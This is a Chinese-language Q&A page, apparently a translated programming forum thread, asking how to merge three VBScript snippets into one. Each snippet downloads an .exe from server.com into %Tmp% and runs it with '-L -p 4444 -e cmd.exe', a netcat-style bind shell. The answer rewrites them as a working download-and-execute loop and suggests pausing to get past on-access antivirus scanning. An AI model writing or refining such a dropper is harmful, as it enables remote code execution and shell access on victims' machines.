首页 > 解决方案 > 如何将同一函数的多个 .vbs 脚本合并为一个 .vbs?

问题描述

我正在尝试将下面的 .vbs 脚本合并为一个 .vbs。以下是我的代码示例:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download1.exe" 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download2.exe" 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download3.exe" 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

当我尝试运行上面的代码时,我总是收到如下图所示的错误:

对象打开时不允许操作

解决此问题或让脚本等待并完成的最佳解决方案,然后再继续下一个。将不胜感激。

我尝试过的: 我尝试过使用:接下来,WScript.Sleep 1000 和延迟语法,但没有一个按预期工作。

标签: vbscript

解决方案


除了报告的问题之外,我还看到您的示例脚本的其他几个问题:未关闭 ADODB.Stream。例如,重新 DIM 以前 DIM 的变量,Next没有For,缺乏代码重用等。

看看这是否有帮助(未经测试):

dim http_obj : set http_obj = CreateObject("Microsoft.XMLHTTP")
dim stream_obj : set stream_obj = CreateObject("ADODB.Stream")
dim shell_obj : set shell_obj = CreateObject("WScript.Shell")
dim i, download, URL, FILENAME, RUNCMD

For i = 1 To 3
    download = "download" & CStr(i) & ".exe"

    URL = "http://server.com/" & download 'Where to download the file from
    http_obj.open "GET", URL, False
    http_obj.send

    FILENAME = "%Tmp%\" & download 'Name to save the file (on the local system)
    stream_obj.type = 1
    stream_obj.open
    stream_obj.write http_obj.responseBody
    stream_obj.savetofile FILENAME, 2
    stream_obj.close

    RUNCMD = FILENAME & " -L -p 4444 -e cmd.exe"
    shell_obj.run RUNCMD
Next

我可能还会建议一些错误处理,在使用 responseBody 之前检查 http_obj 状态是否有正确的响应代码,在运行 RUNCMD 之前检查文件是否存在,如果文件很大并且你有可能在流关闭和 RUNCMD 之间短暂休眠 -访问扫描启用。

享受。


推荐阅读